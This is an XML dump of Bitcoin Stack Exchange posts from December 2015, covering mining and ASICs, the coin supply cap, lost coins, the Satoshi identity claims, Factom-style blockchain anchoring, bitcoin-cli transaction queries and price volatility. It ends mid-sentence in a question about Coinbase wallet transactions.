  <row Id="41715" PostTypeId="2" ParentId="41713" CreationDate="2015-12-08T18:13:55.983" Score="2" Body="&lt;p&gt;If the mining algorithm would ever be changed it would severely weaken the Bitcoin network's security at least temporarily if not kill it off completely. Such an endeavour would have to be planned and announced long in advance. In light of the block size discussion, I sincerely doubt that it would be easy for such a plan to gain support, though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way it may come to pass would be if the Bitcoin network's security would be compromised more if it were not done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily, changing the signature scheme does not necessarily change the mining algorithm.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-12-08T19:22:25.127" LastActivityDate="2015-12-08T19:22:25.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41716" PostTypeId="1" CreationDate="2015-12-08T18:25:52.047" Score="1" ViewCount="997" Body="&lt;p&gt;I understand that the supply of Bitcoins, by design, will not continue to grow to infinity, but is &quot;capped&quot; at 21,000,000. This amount is not in circulation, however, because there are coins that have yet to be mined. I also understand that the reward for a successful miner is 25 coins, but that the reward will be reduced by a factor of 0.5 at certain points. It seems like the supply of coins will always approach 21,000,000 but never actually get there - a limit. If this is all accurate (please correct me if it isn't), does this imply that the incentives for miners will also be reduced? As time goes on, following this logic, miners should stop working altogether, at which point, new transactions can no longer be added. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming this all plays out, would people simply &quot;roll&quot; into a new blockchain at that time?&lt;/p&gt;&#xA;" OwnerUserId="31035" LastEditorUserId="5406" LastEditDate="2015-12-08T19:05:34.807" LastActivityDate="2015-12-08T22:58:50.243" Title="Does Bitcoin have a built-in life expectancy?" Tags="|reward-schedule|adoption|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41717" PostTypeId="1" AcceptedAnswerId="41775" CreationDate="2015-12-08T18:43:05.747" Score="7" ViewCount="1273" Body="&lt;p&gt;If ASICs were described as a black box, what would their inputs be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, the actual hashing, the churning of the SHA-256 function is performed by the ASIC. Also, they must of course be able to tell when they have succeeded, so they must have a mechanism to store and compare the target to their result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, how much of the pre-processing steps do ASICs perform? I would assume that they increment the nonce, as it is raced through in less than a second and perhaps the extra nonce? Can they change the timestamp? Do they manage the complete block header? How much of the block header do ASICs vary by themselves?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Do ASICs assemble their own blocks?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-04T13:15:52.213" LastActivityDate="2016-02-04T20:50:54.793" Title="What portion of the mining process does an ASIC perform?" Tags="|asic|mining-hardware|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41718" PostTypeId="2" ParentId="41711" CreationDate="2015-12-08T20:37:05.407" Score="2" Body="&lt;p&gt;It is just a formatting issue.  Include &quot;0x&quot; at the beginning.&lt;/p&gt;&#xA;" OwnerUserId="13801" LastEditorUserId="13801" LastEditDate="2015-12-09T00:24:27.957" LastActivityDate="2015-12-09T00:24:27.957" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41719" PostTypeId="2" ParentId="41716" CreationDate="2015-12-08T20:40:45.203" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;but never actually get there &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Except at some point there will be a rounding error (as numbers are integers in the code) to zero new coins being mined.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;does this imply that the incentives for miners will also be reduced? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really. First of all the miners also collect all the fees from all transactions. That should compensate for the reduction in new coins being mined. Another factor is the price of Bitcoin, either in USD or by the time USD doesn't exist anymore, the number of aircraft carriers you can buy for 1 Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rolling out a new chain will actually probably become harder and harder over time as the network effect causes people to use the chain that is most useful. The number of other people that use it is a big part of its usefulness.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-12-08T20:40:45.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41720" PostTypeId="1" AcceptedAnswerId="41740" CreationDate="2015-12-08T21:58:56.313" Score="2" ViewCount="111" Body="&lt;p&gt;I am very new to the world of cryptocurrencies (I first read deeply about them today) and I've just discovered the concept of mining. Everything that I've read so far applies to Bitcoin but I know that there are a lot of different cryptocurrencies. So I was wondering if mining also exists for other currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is mining something specific of bitcoin or is it possible to mine different cryptocurrencies? If so, is the process different than the one used to mine bitcoins? &lt;/p&gt;&#xA;" OwnerUserId="31052" LastEditorUserId="18196" LastEditDate="2016-03-06T19:06:29.910" LastActivityDate="2016-03-06T19:06:29.910" Title="Is mining something specific of Bitcoin?" Tags="|currencies|mining-theory|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41721" PostTypeId="2" ParentId="41720" CreationDate="2015-12-08T22:48:57.230" Score="2" Body="&lt;p&gt;Earlier cryptocurrency systems (which predated Botcoin) relied on a central clearinghouse to prevent fraudulent transactions, such as double-spending.  One of the objectives of Bitcoin was decentralization.  To prevent double-spending without a central clearninghouse, blocks of transactions need to be mined.  The process of mining requires a significant amount of computational effort to be expended by the miner.  Other nodes on the network will not recognize a mined block of transactions without this proof of work.&lt;/p&gt;&#xA;" OwnerUserId="30884" LastActivityDate="2015-12-08T22:48:57.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41722" PostTypeId="2" ParentId="41716" CreationDate="2015-12-08T22:58:50.243" Score="1" Body="&lt;p&gt;Newly-minted bitcoins are awarded to miners as these miners mine new blocks in the blockchain.  The number of new bitcoins generated per block is currently 25BTC, and this number is halved every 210,000 blocks (at 10 minute intervals between blocks, this equates to approximately every four years).  See &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Controlled_supply&lt;/a&gt; for more info.&lt;/p&gt;&#xA;" OwnerUserId="30884" LastActivityDate="2015-12-08T22:58:50.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41724" PostTypeId="2" ParentId="41673" CreationDate="2015-12-09T01:38:13.867" Score="0" Body="&lt;p&gt;If you moved the bitcoins less than 12 weeks ago, then that is why you don't see them yet.  There are several online bitcoin blockchain explorers that will let you enter your public address and see its balance and transactions.&lt;/p&gt;&#xA;" OwnerUserId="13801" LastActivityDate="2015-12-09T01:38:13.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41726" PostTypeId="2" ParentId="41648" CreationDate="2015-12-09T02:01:21.693" Score="1" Body="&lt;p&gt;Could you get away with it? Probably. Laws have not caught up to Bitcoin. It would be better to do the right thing, and just click one button and generate a new private / public key pair, and move along. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's like finding money in the street, except you know that the person who lost it is walking back to find it. Can you grab it and run? Yup. Should you grab it and run? Nope.&lt;/p&gt;&#xA;" OwnerUserId="29298" LastActivityDate="2015-12-09T02:01:21.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41727" PostTypeId="2" ParentId="41642" CreationDate="2015-12-09T02:03:50.677" Score="-1" Body="&lt;p&gt;Easy! Use Tor, or any VPN service. Problem solved! The ISP can't monitor encrypted traffic.&lt;/p&gt;&#xA;" OwnerUserId="29298" LastActivityDate="2015-12-09T02:03:50.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41728" PostTypeId="1" CreationDate="2015-12-09T03:32:43.933" Score="-1" ViewCount="70" Body="&lt;p&gt;I want to ask, how was the first Bitcoin made? And how can it be made? Every time I think of Bitcoin, these questions come to my mind.&lt;/p&gt;&#xA;" OwnerUserId="30477" LastEditorUserId="23340" LastEditDate="2015-12-09T11:54:18.190" LastActivityDate="2015-12-09T11:54:18.190" Title="The begining of Bitcoin" Tags="|history|" AnswerCount="1" CommentCount="1" ClosedDate="2015-12-09T13:29:48.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="41733" PostTypeId="1" CreationDate="2015-12-09T06:57:08.433" Score="1" ViewCount="74" Body="&lt;p&gt;My question is 2 part:&lt;br/&gt;&#xA;1. How does somebody know that a set of bitcoins is lost? Merely declaring that I've lost my private key and hence bitcoin makes the coins lost?&lt;br/&gt;&#xA;2. What impact(and why?) would be on the price of bitcoin if I lose a huge amount of bitcoin today? Say 1 billion? &lt;/p&gt;&#xA;" OwnerUserId="31063" LastActivityDate="2015-12-09T10:30:04.053" Title="Impact on Bitcoin value due to lost bitcoin wallets" Tags="|bitcoind|bitcoin-core|currencies|value|" AnswerCount="2" CommentCount="0" ClosedDate="2015-12-09T12:02:01.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="41734" PostTypeId="2" ParentId="41733" CreationDate="2015-12-09T07:56:18.097" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Only the market knows it&lt;/li&gt;&#xA;&lt;li&gt;Market will tell you if you lost them&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2015-12-09T07:56:18.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41736" PostTypeId="2" ParentId="41728" CreationDate="2015-12-09T08:03:23.290" Score="0" Body="&lt;p&gt;First bitcoin was created when the first block (and blockchain) was created.&#xA;Here is more important informations: &lt;a href=&quot;https://en.bitcoin.it/wiki/Genesis_block&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Genesis_block&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2015-12-09T08:03:23.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41737" PostTypeId="1" CreationDate="2015-12-09T10:29:09.623" Score="2" ViewCount="1921" Body="&lt;p&gt;I am currently working on a project which makes use of the blockchain.info api (php). Could anybody please tell me how to use this api to submit transactions to the network?&lt;/p&gt;&#xA;" OwnerUserId="31070" LastEditorUserId="5406" LastEditDate="2018-05-24T01:13:23.023" LastActivityDate="2019-04-13T17:02:35.853" Title="How does one submit a transaction to the network using the blockchain.info API?" Tags="|blockchain.info|api|raw-transaction|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="41738" PostTypeId="2" ParentId="41733" CreationDate="2015-12-09T10:30:04.053" Score="0" Body="&lt;p&gt;If you never traded bitcoins(just hold them), market can not know that you lost them.&lt;/p&gt;&#xA;" OwnerUserId="31071" LastActivityDate="2015-12-09T10:30:04.053" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41740" PostTypeId="2" ParentId="41720" CreationDate="2015-12-09T11:15:27.150" Score="2" Body="&lt;p&gt;Cryptocurrencies fall into three broad categories:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Centralized/counterparty cryptocurrencies are classic cryptocurrencies that are run by some kind of central authority. These can use the same methods that traditional banking ledgers use and aren't particularly interesting technically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Public ledger cryptocurrencies that use proof of work to solve the double spend problem without a central authority. These cryptocurrencies have to incentivize people to provide the proof of work they need to remain secure and typically use mining to do it. Bitcoin was the first currency of this type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Distributed agreement cryptocurrencies that use consensus protocols to solve the double spend problem without a central authority. These cryptocurrencies don't require large amounts of computation to secure their transactions and generally don't use mining. XRP was the first currency of this type.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-12-09T11:15:27.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41741" PostTypeId="1" CreationDate="2015-12-09T11:30:13.163" Score="1" ViewCount="201" Body="&lt;p&gt;So far I can't tell what's true about all this.  It also seems like it'd be easy for someone to claim to be the pseudonymous creator of Bitcoin.  I've only seen information about this from main stream sources.  Does anyone know anything beyond the current main-stream narrative?&lt;/p&gt;&#xA;" OwnerUserId="31073" LastEditorUserId="2306" LastEditDate="2015-12-09T20:02:46.383" LastActivityDate="2015-12-09T21:08:07.137" Title="Supposedly 'Satoshi' was found in Australia… is there any way to verify this?" Tags="|satoshi-nakamoto|" AnswerCount="2" CommentCount="2" ClosedDate="2015-12-12T12:39:54.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="41744" PostTypeId="1" CreationDate="2015-12-09T06:55:25.177" Score="2" ViewCount="117" Body="&lt;p&gt;My question is 2 part:&lt;br/&gt;&#xA;1. How does somebody know that a set of bitcoins is lost? Merely declaring that I've lost my private key and hence bitcoin makes the coins lost?&lt;br/&gt;&#xA;2. What impact(and why?) would be on the price of bitcoin if I lose a huge amount of bitcoin today? Say 1 billion? &lt;/p&gt;&#xA;" OwnerDisplayName="Neo" LastEditorUserId="5406" LastEditDate="2015-12-24T09:14:20.853" LastActivityDate="2015-12-24T09:14:20.853" Title="What happens to the overall value of Bitcoin when a huge amount of coin is lost?" Tags="|public-key|lost-bitcoins|shrinking-money-supply|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41746" PostTypeId="2" ParentId="41744" CreationDate="2015-12-09T14:51:43.960" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, pretty much the only way to know coins are &lt;em&gt;lost&lt;/em&gt; is through someone making the information public by declaring they no longer have access to the private key. Otherwise they would just look like someone who hasn't moved their coins if viewed on the blockchain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There's actually a limit at the current moment of 21 million bitcoins. So technically losing 1 billion bitcoins is not possible since it's larger than the limit. But taking on the spirit of the question, If someone was to &lt;em&gt;lose&lt;/em&gt; a large amount of bitcoin theoretically it should make the rest of the coins more valuable. In practice though I'm not sure it always works this way since in your first question we brought up the notion that confirming &lt;em&gt;lost&lt;/em&gt; bitcoin is not easy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="29646" LastActivityDate="2015-12-09T14:51:43.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41747" PostTypeId="2" ParentId="41741" CreationDate="2015-12-09T16:32:11.020" Score="-2" Body="&lt;p&gt;I'm literally just reading the &lt;a href=&quot;http://gizmodo.com/this-australian-says-he-and-his-dead-friend-invented-bi-1746958692&quot; rel=&quot;nofollow&quot;&gt;Gizmodo piece&lt;/a&gt; as well. This piece is based off of a month long investigation where they've done some really good journalistic reporting. Highly recommended.&lt;/p&gt;&#xA;" OwnerUserId="31080" LastActivityDate="2015-12-09T16:32:11.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41748" PostTypeId="1" AcceptedAnswerId="41754" CreationDate="2015-12-09T17:29:16.193" Score="5" ViewCount="671" Body="&lt;p&gt;I was referring to this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/34179/how-good-a-take-off-on-the-block-chain-is-factom&quot;&gt;question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently Factom creates its own &quot;chain&quot; for timestamping purposes, &quot;hashes&quot; the entries, and then stores these hashes on the blockchain, to create an unalterable record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would happen if &quot;everyone&quot; in the world did this? Could the blockchain support a million (or a billion) more &quot;Factoms?&quot; &lt;/p&gt;&#xA;" OwnerUserId="15143" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-12-09T22:42:42.243" Title="What would happen if there are more blockchain imitators like Factom?" Tags="|blockchain|op-return|factom|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41749" PostTypeId="1" CreationDate="2015-12-09T17:39:44.693" Score="2" ViewCount="1271" Body="&lt;p&gt;For a research project I need to analyse all transactions that happened in 2015. All I care about are volumes transacted, fees paid and a timestamp per transaction or corresponding block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting this data via APIs over the net creates lots of overhead and lets me run into rate limits (I cannot just run 50 million+ queries against blockchain.info or the coinbase-API).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would like to get the data out of my local instance of bitcoin-core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately running gettransaction  fails both programatically and via the commandline, despite the fact that I'm running bitcoind with the -reindex flag enabled:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ [Error: Invalid or non-wallet transaction id] code: -5 }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I resorted to using getrawtransaction  1 which, unfortunately, only returns the transacted volumes per output. I take the txid of inputs and query the local instance again. A tedious-error prone process, I would like to know whether there is an easier way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, can somebody please help me with getting gettransaction working?&lt;/p&gt;&#xA;" OwnerUserId="18203" LastActivityDate="2015-12-09T17:58:22.723" Title="Get transaction fees per transaction via gettransaction" Tags="|transactions|bitcoin-core|transaction-fees|gettransaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41750" PostTypeId="2" ParentId="41748" CreationDate="2015-12-09T17:42:32.710" Score="5" Body="&lt;p&gt;The way Factom works, they store the merkle root of the various hashes on the blockchain in an OP_RETURN output. This amounts to 80 bytes in the OP_RETURN and the actual transaction is going to be on the order of 500 bytes. The way they scale is that they store the actual merkle tree elsewhere and only put the root into the blockchain, about once per block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that everyone uses Factom, this would mean that the blockchain would only get one Factom transaction per block, which is what it's already doing. If there were a million other services using OP_RETURN, then no, currently, the block size is limited to 1MB per block, which can only take about 2000 such transactions per block.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-12-09T17:42:32.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41751" PostTypeId="2" ParentId="41749" CreationDate="2015-12-09T17:51:26.000" Score="2" Body="&lt;p&gt;If you want to get the &lt;code&gt;gettransaction&lt;/code&gt; command running, you would need to enable the txindex via &lt;code&gt;bitcoind -reindex -txindex&lt;/code&gt;. Note this takes a few hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;run &lt;code&gt;bitcoin-cli getblockhash &amp;lt;block number&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;run &lt;code&gt;bitcoin-cli getblock &amp;lt;result from 1&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will give you the block time and all the transactions within the block in a nice JSON format. Iterate through all the txid's via:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoin-cli getrawtransaction&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, you'll have to look up all the inputs and see how much is in them in order to calculate the transaction fee using this method.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="23123" LastEditDate="2015-12-09T17:58:22.723" LastActivityDate="2015-12-09T17:58:22.723" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41752" PostTypeId="2" ParentId="41741" CreationDate="2015-12-09T20:13:56.427" Score="0" Body="&lt;p&gt;If someone purporting to be 'Satoshi Nakamoto' wanted to prove it, he/she could do so by signing a message using one of the same signing keys that 'Satoshi Nakamoto' used to sign one of his early messages during the release of bitcoin.  Or, he/she could announce that they will make a bitcoin payment from an address believed to belong to 'Satoshi Nakamoto' to some other address, then actually do so.&lt;/p&gt;&#xA;" OwnerUserId="30884" LastEditorUserId="30884" LastEditDate="2015-12-09T21:08:07.137" LastActivityDate="2015-12-09T21:08:07.137" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41753" PostTypeId="1" CreationDate="2015-12-09T20:27:34.123" Score="2" ViewCount="26" Body="&lt;p&gt;I'm aware of BIP101 and BIP100, but I'm sure there are others. I would like a simple table of comparison on the block size increase schedule of each one (including the status quo) in one place.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-12-09T20:27:34.123" Title="What are the various block size increase proposals?" Tags="|block|blocksize|block-size-increase|" AnswerCount="0" CommentCount="1" ClosedDate="2015-12-10T02:10:19.700" ContentLicense="CC BY-SA 3.0" />
  <row Id="41754" PostTypeId="2" ParentId="41748" CreationDate="2015-12-09T21:41:46.553" Score="5" Body="&lt;p&gt;Factom stores data in a blockchain that's maintained by their network of federated servers. &lt;a href=&quot;http://Tierion.com&quot;&gt;Tierion&lt;/a&gt; lets you create a verifiable record of any data or business process by anchoring your data to the blockchain. No altcoin required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've created an open standard called &lt;a href=&quot;http://github.com/chainpoint&quot;&gt;Chainpoint&lt;/a&gt; for anchoring data in the blockchain. Like Factom, we use Merkle trees and periodically insert a transaction containing a Merkle root in the Bitcoin blockchain. Unlike Factom, we give you a blockchain receipt that can be stored in your local database and shared with other systems. You stay in control of your data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you build an application on Factom, you're dependent on the Factom blockchain.  If Factom fails, your application stops working. You have to continually acquire Factoids to write data to Factom.  With Tierion, your data and your blockchain receipts can be stored anywhere - even in another decentralized datastore.  There is no long-term dependency on Tierion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that we'll see many approaches to anchoring data to the blockchain. Each approach will differ to accommodate various use cases. For example, &lt;a href=&quot;http://blockcypher.com&quot;&gt;Blockcypher&lt;/a&gt; has a free API call that allows you to store data in OP_Return, and &lt;a href=&quot;http://stampery.com&quot;&gt;Stampery&lt;/a&gt; has a product for notarizing documents in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclosure: I designed the Factom Explorer and played a key role in the launch of Factom.&lt;/p&gt;&#xA;" OwnerUserId="28058" LastActivityDate="2015-12-09T21:41:46.553" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41755" PostTypeId="2" ParentId="41317" CreationDate="2015-12-09T22:07:03.230" Score="1" Body="&lt;p&gt;Probably in a similar way as companies hedge against currency fluctuations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could sell a basket of fiat currency against the dollar to protect for dollar strength., What they can not do is protecting the crypto currency from decline, so obviously there is a risk as soon as the crypto currency declines in value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have seen how well pegs can play out if the hedged assets value goes in a different directions - take the swiss franc euro peg for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets also not confuse a &quot;backing&quot; and a &quot;peg&quot;, if the currency or derivative is backed, then for every unit theres a defined amount of redeemable backing unit. If we have a &quot;peg&quot; theres definitely risk on one side.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2015-12-09T22:07:03.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41756" PostTypeId="2" ParentId="41748" CreationDate="2015-12-09T22:42:42.243" Score="2" Body="&lt;p&gt;Disclosure: I'm a senior developer at Factom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are describing is essentially &lt;a href=&quot;https://bitpay.com/chaindb.pdf&quot; rel=&quot;nofollow&quot;&gt;BitPay's ChainDB&lt;/a&gt; - a cryptographic chain of records anchored into the Bitcoin blockchain. Since systems like Factom or ChainDB would ideally only include one anchoring transaction per block into Bitcoin, your upper limit as to how many chains can co-exist is the transaction limit on the Bitcoin blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since such systems should provide cryptographic proof that any data included in them is also included in the Bitcoin blockchain, there is nothing stopping you from creating sub-chains - anchored into Factom or other chains, which are in turn anchored into Bitcoin. The cryptographic proof should work on sub-chains, sub-sub-chains and so on ad infinitum (although the proofs would be getting longer each time). This means that in theory there is no limit as to how many chains can exist, provided you are okay with some of them being moved down to a lower level.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-12-09T22:42:42.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41757" PostTypeId="2" ParentId="41712" CreationDate="2015-12-09T23:09:16.850" Score="2" Body="&lt;p&gt;BTC is a speculative commodity so bubbles are to be expected, and bubbles are cyclical in nature. The previous bubble went up to about US$250 and took several months to build back up and then inflect to climb exponentially to ~1200. There's not one reason for this, and it happens with other bubbles too. But I'll try my best: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The general explanation&lt;/strong&gt; is that smart money buys low, generates media attention that induces FOMO (fear of missing out) which attracts buyers, who raise the price to new highs, increasing media coverage ad absurdum, when finally there are not enough suckers to keep the rate up and people panic and start selling. Then there's usually a &quot;dead cat bounce&quot; (you'll see the price jumped back up after the first plunge from the peak) followed by more selling. The smart money sells all the way to the top, and buys all the way to the bottom. Now they have to start the cycle again, so they use their market making power to quiet things down and make it feel safe again, waiting for a new crop of people to come back, buy, see amazing returns, tell their friends and media, and the bubble starts again. We're likely there now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The China factor&lt;/strong&gt; One main factor leading up to the ~1200 bubble in particular which made it so much higher was the rapid expansion of BTC speculation in China at the time. That's simply a huge market, and New Chinese exchanges were opening up on an almost weekly basis, with relatively low barriers to investment. You could see them leading the price action at the time, and growing their capitalization at a crazy rate. Exchanges like BTCChina and Huobi etc. overtook MtGox's volume in a matter of weeks if not days.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Post-burst Volatility&lt;/strong&gt; I'm sure there are plenty of reasons for this, one of which is just the general nature of bubbles as explained above. However there were at least a couple of specific things I can think of that contributed to volatility post the ~1200 bubble: Wall Street, media coverage, and the sorry state of exchanges at the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Wall Street&lt;/em&gt; around that time started giving quants some money to play in the BTC market. You could literally see the bot action taking over MtGox on the way to the top and then back down again. I'm not saying the bots did it, but they do make more money when price movements are wide, and had enough influence on the price to induce these large moves. For example they would create lots of bids at a certain low price with one hand, and begin selling to apply downward price pressure with the other. People would put their bids just in front of the bid wall, thinking it represents a solid price support (a &quot;bottom&quot; for the move). As selling accelerated, the bid wall started receding lower, so they could keep selling into those suckers' bids. Then the wall was removed completely, creating even more panic selling, until the smart money decided it's time to pump the price back up. This, and the opposite (&quot;pump and dump&quot;) were happening on a regular basis and observed live by traders on forums like TradingView.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Media&lt;/em&gt; coverage was a giant piece of uninformed hype. The price action drew attention, but the stories were more absurd than the price. When some company said they'd accept BTC the price jumped. Then someone talked about taxing Bitcoin and the price tanked. Most stories were non-news or rumors or actual fake stories planted by smart money, but panicky noob traders would buy and sell on it as if it were news about GE or Microsoft, reported in the WSJ. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, &lt;em&gt;Exchanges&lt;/em&gt; were constantly beind DDoSed and manipulated, which made small-time traders panic and sell, and then panic and buy back in when the price jolted back up. Once the largest exchange by volume, MtGox exploded in slow motion, causing many ripples along the way (mostly in the weeks following the ~1200 peak). Exchanges would frequently go illiquid and disappear with your money. Exchanges were so badly run they would constantly make you feel like your orders aren't being processed and induce panic. This adds volatility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there's plenty I'm missing, happy to see more comments/answers!&lt;/p&gt;&#xA;" OwnerUserId="31090" LastActivityDate="2015-12-09T23:09:16.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41758" PostTypeId="1" AcceptedAnswerId="41787" CreationDate="2015-12-09T23:10:14.100" Score="7" ViewCount="208" Body="&lt;p&gt;Is there any cryptographically verifiable evidence that one or both Wright &amp;amp; Kleiman were or were not involved with the Satoshi Nakamoto character?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking for information related to Bitcoin keys, addresses, PGP keys, or any other type of cryptographic evidence. Information that disproves their involvement also welcome (faked PGP keys inserted into documents, etc), also welcome. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-12-09T23:20:07.153" LastActivityDate="2016-05-24T13:48:00.460" Title="Is there any concrete evidence that Wright &amp; Kleiman were involved or not involved in the creation of Bitcoin?" Tags="|satoshi-nakamoto|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41759" PostTypeId="1" CreationDate="2015-12-10T04:25:26.280" Score="1" ViewCount="406" Body="&lt;p&gt;I created a coinbase account and a new wallet that only had one address &quot;A&quot; associated with it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then gave that address to a friend and had them send me some amount &quot;B&quot; of bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shortly thereafter my coinbase wallet was listed as having the correct amount &quot;B&quot; of funds and the address &quot;A&quot; associated with my coinbase wallet shows up in the blockchain as having the correct amount &quot;B&quot; sent to it. However, my address &quot;A&quot; immediately showed up in the next block spending the funds, and the address &quot;A&quot; is listed as spent (e.g., on blockchain.info shows up as &quot;spent&quot;). There are a large number of subsequent transactions spending the funds to a bunch of addresses that I have never seen before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why this is happening? Is this some attempt at coinbase to perform some mixing and try to anonymize transactions? Or does coinbase send the funds to a &quot;cold storage&quot; or something and just pretend like they are &quot;in&quot; the address listed in my coinbase wallet... 